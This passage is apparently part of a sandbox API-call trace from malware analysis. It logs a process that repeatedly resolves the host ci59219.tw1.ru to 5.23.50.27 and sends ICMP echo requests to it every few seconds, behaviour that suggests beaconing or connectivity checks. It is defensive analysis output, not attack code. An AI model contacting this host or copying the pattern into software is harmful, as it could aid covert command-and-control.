ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ace20*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d20*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0264.747] FreeAddrInfoW (pAddrInfo=0x1d4ace20*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d20*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0264.747] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d472250 [0264.747] IcmpSendEcho2 (in: IcmpHandle=0x1e720860, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d472250, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0264.803] LocalFree (hMem=0x1d472250) returned 0x0 [0264.804] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac160*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d20*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0264.807] FreeAddrInfoW (pAddrInfo=0x1d4ac160*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d20*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0264.807] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d472250 [0264.807] IcmpSendEcho2 (in: IcmpHandle=0x1e720860, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d472250, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0264.863] LocalFree (hMem=0x1d472250) returned 0x0 [0269.906] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acde0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497040*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0269.919] FreeAddrInfoW (pAddrInfo=0x1d4acde0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497040*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0269.919] IcmpCreateFile () returned 0x1e720da0 [0269.978] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e701ea0 [0269.978] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471e00 [0269.978] IcmpSendEcho2 (in: IcmpHandle=0x1e720da0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471e00, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0270.258] LocalFree (hMem=0x1d471e00) returned 0x0 [0270.260] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac920*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497360*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0270.273] FreeAddrInfoW (pAddrInfo=0x1d4ac920*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497360*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0270.274] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d472040 [0270.274] IcmpSendEcho2 (in: IcmpHandle=0x1e720da0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d472040, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0270.392] LocalFree (hMem=0x1d472040) returned 0x0 [0270.393] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ab1e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496ce0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0270.395] FreeAddrInfoW (pAddrInfo=0x1d4ab1e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496ce0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0270.395] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471770 [0270.395] IcmpSendEcho2 (in: IcmpHandle=0x1e720da0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471770, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0270.507] LocalFree (hMem=0x1d471770) returned 0x0 [0275.624] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acf60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497120*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0275.630] FreeAddrInfoW (pAddrInfo=0x1d4acf60*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497120*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0275.631] IcmpCreateFile () returned 0x1e720f80 [0275.640] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e701ea0 [0275.640] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471f20 [0275.640] IcmpSendEcho2 (in: IcmpHandle=0x1e720f80, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471f20, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0275.706] LocalFree (hMem=0x1d471f20) returned 0x0 [0275.706] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac5e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497160*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0275.708] FreeAddrInfoW (pAddrInfo=0x1d4ac5e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497160*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0275.709] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d472250 [0275.709] IcmpSendEcho2 (in: IcmpHandle=0x1e720f80, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d472250, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x0 [0275.774] LocalFree (hMem=0x1d472250) returned 0x0 [0275.774] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ab820*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496e20*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0275.777] FreeAddrInfoW (pAddrInfo=0x1d4ab820*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496e20*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0275.777] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471d70 [0275.777] IcmpSendEcho2 (in: IcmpHandle=0x1e720f80, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471d70, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0275.843] LocalFree (hMem=0x1d471d70) returned 0x0 [0280.846] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac2a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497180*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0280.852] FreeAddrInfoW (pAddrInfo=0x1d4ac2a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497180*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0280.853] IcmpCreateFile () returned 0x1e71ff60 [0280.855] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e701ea0 [0280.855] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471cb0 [0280.855] IcmpSendEcho2 (in: IcmpHandle=0x1e71ff60, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471cb0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0280.914] LocalFree (hMem=0x1d471cb0) returned 0x0 [0280.915] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac6e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496de0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0280.920] FreeAddrInfoW (pAddrInfo=0x1d4ac6e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496de0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0280.921] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471a70 [0280.921] IcmpSendEcho2 (in: IcmpHandle=0x1e71ff60, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471a70, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0280.974] LocalFree (hMem=0x1d471a70) returned 0x0 [0280.975] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac6a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496fa0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0280.977] FreeAddrInfoW (pAddrInfo=0x1d4ac6a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496fa0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0280.977] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471bf0 [0280.977] IcmpSendEcho2 (in: IcmpHandle=0x1e71ff60, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471bf0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0281.032] LocalFree (hMem=0x1d471bf0) returned 0x0 [0286.081] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac760*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496f80*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0286.084] FreeAddrInfoW (pAddrInfo=0x1d4ac760*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496f80*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0286.084] IcmpCreateFile () returned 0x1e720080 [0286.153] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e701ea0 [0286.153] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d472010 [0286.153] IcmpSendEcho2 (in: IcmpHandle=0x1e720080, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d472010, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0286.266] LocalFree (hMem=0x1d472010) returned 0x0 [0286.267] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acde0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497060*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0286.269] FreeAddrInfoW (pAddrInfo=0x1d4acde0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497060*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0286.269] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471b60 [0286.269] IcmpSendEcho2 (in: IcmpHandle=0x1e720080, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471b60, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0286.404] LocalFree (hMem=0x1d471b60) returned 0x0 [0286.404] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac660*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497080*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0286.408] FreeAddrInfoW (pAddrInfo=0x1d4ac660*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497080*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0286.408] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d4718f0 [0286.408] IcmpSendEcho2 (in: IcmpHandle=0x1e720080, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d4718f0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0286.519] LocalFree (hMem=0x1d4718f0) returned 0x0 [0291.529] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acde0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d40*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0291.533] FreeAddrInfoW (pAddrInfo=0x1d4acde0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d40*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0291.533] IcmpCreateFile () returned 0x1e71ff00 [0291.535] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e701ea0 [0291.535] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471bf0 [0291.535] IcmpSendEcho2 (in: IcmpHandle=0x1e71ff00, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471bf0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0291.589] LocalFree (hMem=0x1d471bf0) returned 0x0 [0291.589] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac5e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4973a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0291.591] FreeAddrInfoW (pAddrInfo=0x1d4ac5e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d4973a0*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0291.591] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d472280 [0291.591] IcmpSendEcho2 (in: IcmpHandle=0x1e71ff00, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d472280, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0291.644] LocalFree (hMem=0x1d472280) returned 0x0 [0291.644] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4acbe0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497100*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0291.646] FreeAddrInfoW (pAddrInfo=0x1d4acbe0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497100*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0291.646] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471f20 [0291.646] IcmpSendEcho2 (in: IcmpHandle=0x1e71ff00, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471f20, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0291.700] LocalFree (hMem=0x1d471f20) returned 0x0 [0296.761] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac2a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d20*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0296.765] FreeAddrInfoW (pAddrInfo=0x1d4ac2a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d496d20*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0296.766] IcmpCreateFile () returned 0x1e720080 [0296.813] LocalAlloc (uFlags=0x0, uBytes=0x100ff) returned 0x1e701ea0 [0296.813] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d4721c0 [0296.813] IcmpSendEcho2 (in: IcmpHandle=0x1e720080, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d4721c0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0296.980] LocalFree (hMem=0x1d4721c0) returned 0x0 [0296.980] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac6a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497340*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0296.982] FreeAddrInfoW (pAddrInfo=0x1d4ac6a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497340*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0296.982] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d471f20 [0296.982] IcmpSendEcho2 (in: IcmpHandle=0x1e720080, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d471f20, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0297.106] LocalFree (hMem=0x1d471f20) returned 0x0 [0297.106] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac5e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497280*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0297.108] FreeAddrInfoW (pAddrInfo=0x1d4ac5e0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497280*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) [0297.108] LocalAlloc (uFlags=0x0, uBytes=0x20) returned 0x1d4716e0 [0297.109] IcmpSendEcho2 (in: IcmpHandle=0x1e720080, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, DestinationAddress=0x1b321705, RequestData=0x1d4716e0, RequestSize=0x20, RequestOptions=0x1dede290, ReplyBuffer=0x1e701ea0, ReplySize=0x100ff, Timeout=0x78 | out: ReplyBuffer=0x1e701ea0) returned 0x1 [0297.262] LocalFree (hMem=0x1d4716e0) returned 0x0 [0302.267] GetAddrInfoW (in: pNodeName="ci59219.tw1.ru", pServiceName=0x0, pHints=0x1dede228*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x1dede170 | out: ppResult=0x1dede170*=0x1d4ac8a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497400*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) returned 0 [0302.270] FreeAddrInfoW (pAddrInfo=0x1d4ac8a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="ci59219.tw1.ru", ai_addr=0x1d497400*(sa_family=2, sin_port=0x0, sin_addr="5.23.50.27"), ai_next=0x0)) 